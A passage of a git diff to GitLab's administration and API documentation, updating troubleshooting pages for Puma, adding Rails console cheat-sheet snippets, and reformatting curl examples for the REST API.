/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/metrics/sampler.rb:33:in `block in start' @@ -213,16 +213,19 @@ downtime. Otherwise skip to the next section. exit ``` -Note that if the Unicorn process terminates before you are able to run these +Note that if the Puma process terminates before you are able to run these commands, GDB will report an error. To buy more time, you can always raise the -Unicorn timeout. For omnibus users, you can edit `/etc/gitlab/gitlab.rb` and -increase it from 60 seconds to 300: +Puma worker timeout. For omnibus users, you can edit `/etc/gitlab/gitlab.rb` and +increase it from 60 seconds to 600: ```ruby -unicorn['worker_timeout'] = 300 +gitlab_rails['env'] = { + 'GITLAB_RAILS_RACK_TIMEOUT' => 600 +} ``` -For source installations, edit `config/unicorn.rb`. +For source installations, set the environment variable. +Refer to [Puma Worker timeout](https://docs.gitlab.com/omnibus/settings/puma.html#worker-timeout). [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect. @@ -267,7 +270,7 @@ is a Unicorn worker that is spinning via `top`. Try to use the `gdb` techniques above. In addition, using `strace` may help isolate issues: ```shell -strace -ttTfyyy -s 1024 -p <PID of unicorn worker> -o /tmp/unicorn.txt +strace -ttTfyyy -s 1024 -p <PID of puma worker> -o /tmp/puma.txt ``` If you cannot isolate which Unicorn worker is the issue, try to run `strace` @@ -275,10 +278,10 @@ on all the Unicorn workers to see where the [`/internal/allowed`](../../development/internal_api.md) endpoint gets stuck: ```shell -ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -ttTfyyy -s 1024 -o /tmp/unicorn.txt +ps auwx | grep puma | awk '{ print " -p " $2}' | xargs strace -ttTfyyy -s 1024 -o /tmp/puma.txt ``` -The output in `/tmp/unicorn.txt` may help diagnose the root cause. +The output in `/tmp/puma.txt` may help diagnose the root cause. ## More information diff --git a/doc/administration/troubleshooting/defcon.md b/doc/administration/troubleshooting/defcon.md index 09e11553d97..7cae6ea1c8f 100644 --- a/doc/administration/troubleshooting/defcon.md +++ b/doc/administration/troubleshooting/defcon.md @@ -5,21 +5,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Disaster Recovery +# Disaster recovery **(FREE SELF)** -This document describes a feature that allows to easily disable some important but computationally -expensive parts of the application, in order to relieve stress on the database in an ongoing downtime. +This document describes a feature that allows you to disable some important but computationally +expensive parts of the application to relieve stress on the database during an ongoing downtime. ## `ci_queueing_disaster_recovery` -This feature flag, if enabled temporarily disables fair scheduling on shared runners. -This can help reduce system resource usage on the `jobs/request` endpoint -by significantly reducing computations being performed. +This feature flag, if temporarily enabled, disables fair scheduling on shared runners. +This can help to reduce system resource usage on the `jobs/request` endpoint +by significantly reducing the computations being performed. Side effects: -- In case of a large backlog of jobs, the jobs will be processed in the order -they were put in the system instead of balancing the jobs across many projects +- In case of a large backlog of jobs, the jobs are processed in the order + they were put in the system, instead of balancing the jobs across many projects. - Projects which are out of quota will be run. This affects -only jobs that were created during the last hour, as prior jobs are canceled -by a periodic background worker (`StuckCiJobsWorker`). + only jobs created during the last hour, as prior jobs are canceled + by a periodic background worker (`StuckCiJobsWorker`). diff --git a/doc/administration/troubleshooting/diagnostics_tools.md b/doc/administration/troubleshooting/diagnostics_tools.md index 27a7493b318..fe85b5d5803 100644 --- a/doc/administration/troubleshooting/diagnostics_tools.md +++ b/doc/administration/troubleshooting/diagnostics_tools.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Diagnostics tools +# Diagnostics tools **(FREE SELF)** These are some of the diagnostics tools the GitLab Support team uses during troubleshooting. They are listed here for transparency, and they may be useful for users with experience diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 588be73e786..92070a86a0d 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -100,7 +100,7 @@ Rails.cache.instance_variable_get(:@data).keys ```ruby # Before 11.6.0 -logger = Logger.new(STDOUT) +logger = Logger.new($stdout) admin_token = User.find_by_username('ADMIN_USERNAME').personal_access_tokens.first.token app.get("URL/?private_token=#{admin_token}") @@ -113,7 +113,7 @@ Gitlab::Profiler.with_user(admin) { app.get(url) } ## Using the GitLab profiler inside console (used as of 10.5) ```ruby -logger = Logger.new(STDOUT) +logger = Logger.new($stdout) admin = User.find_by_username('ADMIN_USERNAME') Gitlab::Profiler.profile('URL', logger: logger, user: admin) ``` @@ -279,6 +279,21 @@ p.each do |project| end ``` +## Bulk update to change all the Jira integrations to Jira instance-level values + +To change all Jira project to use the instance-level integration settings: + +1. In a Rails console: + + ```ruby + jira_service_instance_id = JiraService.find_by(instance: true).id + JiraService.where(active: true, instance: false, template: false, inherit_from_id: nil).find_each do |service| + service.update_attribute(:inherit_from_id, jira_service_instance_id) + end + ``` + +1. Modify and save again the instance-level integration from the UI to propagate the changes to all the group-level and project-level integrations. + ### Bulk update to disable the Slack Notification service To disable notifications for all projects that have Slack service enabled, do: @@ -302,7 +317,18 @@ the displayed size may still show old sizes or commit numbers. To force an updat p = Project.find_by_full_path('<namespace>/<project>') pp p.statistics p.statistics.refresh! -pp p.statistics # compare with earlier values +pp p.statistics +# compare with earlier values + +# check the total artifact storage space separately +builds_with_artifacts = p.builds.with_downloadable_artifacts.all + +artifact_storage = 0 +builds_with_artifacts.find_each do |build| + artifact_storage += build.artifacts_size +end + +puts "#{artifact_storage} bytes" ``` ### Identify deploy keys associated with blocked and non-member users @@ -341,6 +367,16 @@ DeployKeysProject.with_write_access.find_each do |deploy_key_mapping| end ``` +### Find projects using an SQL query + +Find and store an array of projects based on an SQL query: + +```ruby +# Finds projects that end with '%ject' +projects = Project.find_by_sql("SELECT * FROM projects WHERE name LIKE '%ject'") +=> [#<Project id:12 root/my-first-project>>, #<Project id:13 root/my-second-project>>] +``` + ## Wikis ### Recreate @@ -524,7 +560,8 @@ User.billable.count Using cURL and jq (up to a max 100, see the [pagination docs](../../api/README.md#pagination)): ```shell -curl --silent --header "Private-Token: ********************" "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]' +curl --silent --header "Private-Token: ********************" \ + "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]' ``` ### Block or Delete Users that have no projects or groups @@ -694,6 +731,16 @@ emails.each do |e| end ``` +### Find groups using an SQL query + +Find and store an array of groups based on an SQL query: + +```ruby +# Finds groups and subgroups that end with '%oup' +Group.find_by_sql("SELECT * FROM namespaces WHERE name LIKE '%oup'") +=> [#<Group id:3 @test-group>, #<Group id:4 @template-group/template-subgroup>] +``` + ## Routes ### Remove redirecting routes @@ -839,7 +886,7 @@ License.current.trial? ### Check if a project feature is available on the instance -Features listed in <https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/license.rb>. +Features listed in <https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb>. ```ruby License.current.feature_available?(:jira_dev_panel_integration) @@ -847,7 +894,7 @@ License.current.feature_available?(:jira_dev_panel_integration) ### Check if a project feature is available in a project -Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/license.rb). +Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb). ```ruby p = Project.find_by_full_path('<group>/<project>') @@ -863,55 +910,6 @@ license.save License.current # check to make sure it applied ``` -## Unicorn - -From [Zendesk ticket #91083](https://gitlab.zendesk.com/agent/tickets/91083) (internal) - -### Poll Unicorn requests by seconds - -```ruby -require 'rubygems' -require 'unicorn' - -# Usage for this program -def usage - puts "ruby unicorn_status.rb <path to unix socket> <poll interval in seconds>" - puts "Polls the given Unix socket every interval in seconds. Will not allow you to drop below 3 second poll intervals." - puts "Example: /opt/gitlab/embedded/bin/ruby poll_unicorn.rb /var/opt/gitlab/gitlab-rails/sockets/gitlab.socket 10" -end - -# Look for required args. Throw usage and exit if they don't exist. -if ARGV.count < 2 - usage - exit 1 -end - -# Get the socket and threshold values. -socket = ARGV[0] -threshold = (ARGV[1]).to_i - -# Check threshold - is it less than 3? If so, set to 3 seconds. Safety first! -if threshold.to_i < 3 - threshold = 3 -end - -# Check - does that socket exist? -unless File.exist?(socket) - puts "Socket file not found: #{socket}" - exit 1 -end - -# Poll the given socket every THRESHOLD seconds as specified above. -puts "Running infinite loop. Use CTRL+C to exit." -puts "------------------------------------------" -loop do - Raindrops::Linux.unix_listener_stats([socket]).each do |addr, stats| - puts DateTime.now.to_s + " Active: " + stats.active.to_s + " Queued: " + stats.queued.to_s - end - sleep threshold -end -``` - ## Registry ### Registry Disk Space Usage by Project @@ -1189,6 +1187,28 @@ Prints the metrics saved in `conversational_development_index_metrics`. rake gitlab:usage_data:generate_and_send ``` +## Kubernetes integration + +Find cluster: + +```ruby +cluster = Clusters::Cluster.find(1) +cluster = Clusters::Cluster.find_by(name: 'cluster_name') +``` + +Delete cluster without associated resources: + +```ruby +# Find an admin user +user = User.find_by(username: 'admin_user') + +# Find the cluster with the ID +cluster = Clusters::Cluster.find(1) + +# Delete the cluster +Clusters::DestroyService.new(user).execute(cluster) +``` + ## Elasticsearch ### Configuration attributes @@ -1206,11 +1226,11 @@ Among other attributes, in the output you will notice that all the settings avai You can then set anyone of Elasticsearch integration settings by issuing a command similar to: ```ruby -ApplicationSetting.last.update_attributes(elasticsearch_url: '<your ES URL and port>') +ApplicationSetting.last.update(elasticsearch_url: '<your ES URL and port>') #or -ApplicationSetting.last.update_attributes(elasticsearch_indexing: false) +ApplicationSetting.last.update(elasticsearch_indexing: false) ``` #### Getting attributes diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md index 63e69589b54..9e9ef492ebd 100644 --- a/doc/administration/troubleshooting/group_saml_scim.md +++ b/doc/administration/troubleshooting/group_saml_scim.md @@ -42,6 +42,10 @@ SCIM mapping:  +Group Sync: + + + ## Okta Basic SAML app configuration: diff --git a/doc/administration/troubleshooting/img/azure_configure_group_claim.png b/doc/administration/troubleshooting/img/azure_configure_group_claim.png Binary files differnew file mode 100644 index 00000000000..31df5fff625 --- /dev/null +++ b/doc/administration/troubleshooting/img/azure_configure_group_claim.png diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md index 1c205cc987a..75c5ce460e9 100644 --- a/doc/administration/troubleshooting/index.md +++ b/doc/administration/troubleshooting/index.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Troubleshooting a GitLab installation +# Troubleshooting a GitLab installation **(FREE SELF)** This page documents a collection of resources to help you troubleshoot a GitLab installation. diff --git a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md index 9766b2210ca..b43825092b7 100644 --- a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md +++ b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Kubernetes, GitLab and You +# Kubernetes, GitLab, and you **(FREE SELF)** This is a list of useful information regarding Kubernetes that the GitLab Support Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone @@ -147,7 +147,7 @@ and they will assist you with any issues you are having. You can also use `gitlab-rake`, instead of `/usr/local/bin/gitlab-rake`. -- Troubleshooting **Operations > Kubernetes** integration: +- Troubleshooting **Infrastructure > Kubernetes** integration: - Check the output of `kubectl get events -w --all-namespaces`. - Check the logs of pods within `gitlab-managed-apps` namespace. diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md index c4e991ccc1b..9eadbad171e 100644 --- a/doc/administration/troubleshooting/linux_cheat_sheet.md +++ b/doc/administration/troubleshooting/linux_cheat_sheet.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Linux Cheat Sheet +# Linux cheat sheet **(FREE SELF)** This is the GitLab Support Team's collection of information regarding Linux, that they sometimes use while troubleshooting. It is listed here for transparency, @@ -177,8 +177,8 @@ strace -tt -T -f -y -yy -s 1024 -p <pid> # -o output file -# run strace on all unicorn processes -ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/unicorn.txt +# run strace on all puma processes +ps auwx | grep puma | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/puma.txt ``` Be aware that strace can have major impacts to system performance when it is running. diff --git a/doc/administration/troubleshooting/log_parsing.md b/doc/administration/troubleshooting/log_parsing.md index a0f71960e14..c16302dd251 100644 --- a/doc/administration/troubleshooting/log_parsing.md +++ b/doc/administration/troubleshooting/log_parsing.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Parsing GitLab logs with `jq` +# Parsing GitLab logs with `jq` **(FREE SELF)** We recommend using log aggregation and search tools like Kibana and Splunk whenever possible, but if they are not available you can still quickly parse diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md index 481c95b925a..e55118d7309 100644 --- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md +++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Navigating GitLab via Rails console +# Navigating GitLab via Rails console **(FREE SELF)** At the heart of GitLab is a web application [built using the Ruby on Rails framework](https://about.gitlab.com/blog/2018/10/29/why-we-use-rails-to-build-gitlab/). @@ -46,7 +46,7 @@ Let's enable debug logging for Active Record so we can see the underlying database queries made: ```ruby -ActiveRecord::Base.logger = Logger.new(STDOUT) +ActiveRecord::Base.logger = Logger.new($stdout) ``` Now, let's try retrieving a user from the database: diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md index 9565b7594d6..341c6bfbc65 100644 --- a/doc/administration/troubleshooting/postgresql.md +++ b/doc/administration/troubleshooting/postgresql.md @@ -53,8 +53,7 @@ This section is for links to information elsewhere in the GitLab documentation. - [PostgreSQL scaling](../postgresql/replication_and_failover.md) - Including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting) - `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if - you're using Patroni) and PgBouncer errors. + `gitlab-ctl patroni check-leader` and PgBouncer errors. - [Developer database documentation](../../development/README.md#database-guides), some of which is absolutely not for production use. Including: diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md index 297a8355036..7a8ac8c3dbe 100644 --- a/doc/administration/troubleshooting/sidekiq.md +++ b/doc/administration/troubleshooting/sidekiq.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Troubleshooting Sidekiq +# Troubleshooting Sidekiq **(FREE SELF)** Sidekiq is the background job processor GitLab uses to asynchronously run tasks. When things go wrong it can be difficult to troubleshoot. These diff --git a/doc/administration/troubleshooting/ssl.md b/doc/administration/troubleshooting/ssl.md index 7c0b745f8c2..5ce4c7f0fb2 100644 --- a/doc/administration/troubleshooting/ssl.md +++ b/doc/administration/troubleshooting/ssl.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Troubleshooting SSL +# Troubleshooting SSL **(FREE SELF)** This page contains a list of common SSL-related errors and scenarios that you may encounter while working with GitLab. It should serve as an addition to the diff --git a/doc/administration/troubleshooting/test_environments.md b/doc/administration/troubleshooting/test_environments.md index 16ef4f83978..5fe493a536c 100644 --- a/doc/administration/troubleshooting/test_environments.md +++ b/doc/administration/troubleshooting/test_environments.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Apps for a Testing Environment +# Apps for a testing environment **(FREE SELF)** This is the GitLab Support Team's collection of information regarding testing environments, for use while troubleshooting. It is listed here for transparency, and it may be useful diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md index ad2b8586b8b..7b9ce5c6d7b 100644 --- a/doc/administration/troubleshooting/tracing_correlation_id.md +++ b/doc/administration/troubleshooting/tracing_correlation_id.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Finding relevant log entries with a correlation ID +# Finding relevant log entries with a correlation ID **(FREE SELF)** In GitLab 11.6 and later, a unique request tracking ID, known as the "correlation ID" has been logged by the GitLab instance for most requests. Each individual request to GitLab gets diff --git a/doc/administration/whats-new.md b/doc/administration/whats-new.md index a5e3a232890..ae19e0f0341 100644 --- a/doc/administration/whats-new.md +++ b/doc/administration/whats-new.md @@ -29,7 +29,8 @@ in the first patch release, such as `13.10.1`. You can configure the What's new variant: -1. Navigate to **Admin Area > Settings > Preferences**, then expand **What's new**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Preferences**, then expand **What's new**. 1. Choose one of the following options: | Option | Description | diff --git a/doc/api/README.md b/doc/api/README.md index db0c593dc03..c23a383c70f 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Use the GitLab [REST](http://spec.openapis.org/oas/v3.0.3) API to automate GitLab. -You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml), +You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml), to test the API directly from the GitLab user interface. Contributions are welcome. @@ -59,8 +59,8 @@ version number. New features and bug fixes are released in tandem with GitLab. Apart from incidental patch and security releases, GitLab is released on the 22nd of each -month. Backward-incompatible changes (for example, endpoint and parameter removal), -and removal of entire API versions are done in tandem with major GitLab releases. +month. Major API version changes, and removal of entire API versions, are done in tandem +with major GitLab releases. All deprecations and changes between versions are in the documentation. For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md). @@ -73,7 +73,7 @@ Only API version v4 is available. Version v3 was removed in ## How to use the API API requests must include both `api` and the API version. The API -version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/api/api.rb). +version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb). For example, the root of the v4 API is at `/api/v4`. ### Valid API request @@ -597,7 +597,8 @@ send the payload body: - Request payload (JSON): ```shell - curl --request POST --header "Content-Type: application/json" --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects" + curl --request POST --header "Content-Type: application/json" \ + --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects" ``` URL encoded query strings have a length limitation. Requests that are too large diff --git a/doc/api/applications.md b/doc/api/applications.md index b3a46b70c9e..7047dccea88 100644 --- a/doc/api/applications.md +++ b/doc/api/applications.md @@ -40,7 +40,9 @@ Parameters: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=MyApplication&redirect_uri=http://redirect.uri&scopes=" "https://gitlab.example.com/api/v4/applications" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "name=MyApplication&redirect_uri=http://redirect.uri&scopes=" \ + "https://gitlab.example.com/api/v4/applications" ``` Example response: diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md index 93fefe50d9e..dec2b85c61d 100644 --- a/doc/api/audit_events.md +++ b/doc/api/audit_events.md @@ -11,6 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Instance Audit Events **(PREMIUM SELF)** The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events). +This API cannot retrieve group or project audit events. To retrieve audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator. @@ -133,6 +134,7 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5. The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events). +This API cannot retrieve project audit events. A user with a Owner role (or above) can retrieve group audit events of all users. A user with a Developer or Maintainer role is limited to group audit events based on their individual actions. diff --git a/doc/api/boards.md b/doc/api/boards.md index 3252036c840..3cdd9552d66 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -250,7 +250,8 @@ Example response: "path_with_namespace": "diaspora/diaspora-project-site", "created_at": "2018-07-03T05:48:49.982Z", "default_branch": null, - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "ssh_url_to_repo": "ssh://user@example.com/diaspora/diaspora-project-site.git", "http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git", "web_url": "http://example.com/diaspora/diaspora-project-site", diff --git a/doc/api/broadcast_messages.md b/doc/api/broadcast_messages.md index de56405056a..b98373b5a58 100644 --- a/doc/api/broadcast_messages.md +++ b/doc/api/broadcast_messages.md @@ -4,9 +4,7 @@ group: Activation info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Broadcast Messages API - -> Introduced in GitLab 8.12. +# Broadcast Messages API **(FREE SELF)** Broadcast messages API operates on [broadcast messages](../user/admin_area/broadcast_messages.md). @@ -109,7 +107,9 @@ Parameters: Example request: ```shell -curl --data "message=Deploy in progress&color=#cecece" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages" +curl --data "message=Deploy in progress&color=#cecece" \ + --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/broadcast_messages" ``` Example response: @@ -154,7 +154,8 @@ Parameters: Example request: ```shell -curl --request PUT --data "message=Update message&color=#000" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages/1" +curl --request PUT --data "message=Update message&color=#000" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/broadcast_messages/1" ``` Example response: diff --git a/doc/api/commits.md b/doc/api/commits.md index 22d98b2b0a6..711b565bdbd 100644 --- a/doc/api/commits.md +++ b/doc/api/commits.md @@ -7,7 +7,7 @@ type: reference, api # Commits API **(FREE)** -This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository). Read more about [GitLab-specific information](../user/project/repository/index.md#commits) for commits. +This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository). Read more about [GitLab-specific information](../user/project/repository/index.md#commit-changes-to-a-repository) for commits. ## List repository commits @@ -28,6 +28,7 @@ GET /projects/:id/repository/commits | `with_stats` | boolean | no | Stats about each commit are added to the response | | `first_parent` | boolean | no | Follow only the first parent commit upon seeing a merge commit | | `order` | string | no | List commits in order. Possible values: `default`, [`topo`](https://git-scm.com/docs/git-log#Documentation/git-log.txt---topo-order). Defaults to `default`, the commits are shown in reverse chronological order. | +| `trailers` | boolean | no | Parse and include [Git trailers](https://git-scm.com/docs/git-interpret-trailers) for every commit | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/commits" @@ -141,7 +142,8 @@ PAYLOAD=$(cat << 'JSON' } JSON ) -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data "$PAYLOAD" "https://gitlab.example.com/api/v4/projects/1/repository/commits" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data "$PAYLOAD" "https://gitlab.example.com/api/v4/projects/1/repository/commits" ``` Example response: @@ -305,9 +307,11 @@ Parameters: | `sha` | string | yes | The commit hash | | `branch` | string | yes | The name of the branch | | `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) | +| `message` | string | no | A custom commit message to use for the new commit. [Introduced in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62481) ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/master/cherry_pick" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/master/cherry_pick" ``` Example response: @@ -380,7 +384,8 @@ Parameters: | `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" "https://gitlab.example.com/api/v4/projects/5/repository/commits/a738f717824ff53aebad8b090c1b79a14f2bd9e8/revert" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "branch=master" \ + "https://gitlab.example.com/api/v4/projects/5/repository/commits/a738f717824ff53aebad8b090c1b79a14f2bd9e8/revert" ``` Example response: @@ -534,7 +539,9 @@ POST /projects/:id/repository/commits/:sha/comments | `line_type` | string | no | The line type. Takes `new` or `old` as arguments | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "note=Nice picture man\!" --form "path=dudeism.md" --form "line=11" --form "line_type=new" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/comments" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "note=Nice picture man\!" --form "path=dudeism.md" --form "line=11" --form "line_type=new" \ + "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/comments" ``` Example response: @@ -791,6 +798,7 @@ Example response: "source_project_id":35, "target_project_id":35, "labels":[ ], + "draft":false, "work_in_progress":false, "milestone":null, "merge_when_pipeline_succeeds":false, diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md index 0b37c0ad91a..4de024da2de 100644 --- a/doc/api/container_registry.md +++ b/doc/api/container_registry.md @@ -90,7 +90,8 @@ GET /groups/:id/registry/repositories | `tags_count` | boolean | no | If the parameter is included as true, each repository includes `"tags_count"` in the response ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32141) in GitLab 13.1). | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/2/registry/repositories?tags=1&tags_count=true" +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/2/registry/repositories?tags=1&tags_count=true" ``` Example response: @@ -161,7 +162,8 @@ GET /registry/repositories/:id | `tags_count` | boolean | no | If the parameter is included as `true`, the response includes `"tags_count"`. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/registry/repositories/2?tags=true&tags_count=true" +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/registry/repositories/2?tags=true&tags_count=true" ``` Example response: @@ -202,7 +204,8 @@ DELETE /projects/:id/registry/repositories/:repository_id | `repository_id` | integer | yes | The ID of registry repository. | ```shell -curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2" +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2" ``` ## List registry repository tags @@ -221,7 +224,8 @@ GET /projects/:id/registry/repositories/:repository_id/tags | `repository_id` | integer | yes | The ID of registry repository. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" ``` Example response: @@ -256,7 +260,8 @@ GET /projects/:id/registry/repositories/:repository_id/tags/:tag_name | `tag_name` | string | yes | The name of tag. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0" +curl --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0" ``` Example response: @@ -289,7 +294,8 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags/:tag_name | `tag_name` | string | yes | The name of tag. | ```shell -curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0" +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags/v10.0.0" ``` This action doesn't delete blobs. To delete them and recycle disk space, @@ -350,23 +356,27 @@ Examples: and remove ones that are older than 2 days: ```shell - curl --request DELETE --data 'name_regex_delete=[0-9a-z]{40}' --data 'keep_n=5' --data 'older_than=2d' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" + curl --request DELETE --data 'name_regex_delete=[0-9a-z]{40}' --data 'keep_n=5' --data 'older_than=2d' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" ``` 1. Remove all tags, but keep always the latest 5: ```shell - curl --request DELETE --data 'name_regex_delete=.*' --data 'keep_n=5' --header "PRIVATE-TOKEN: 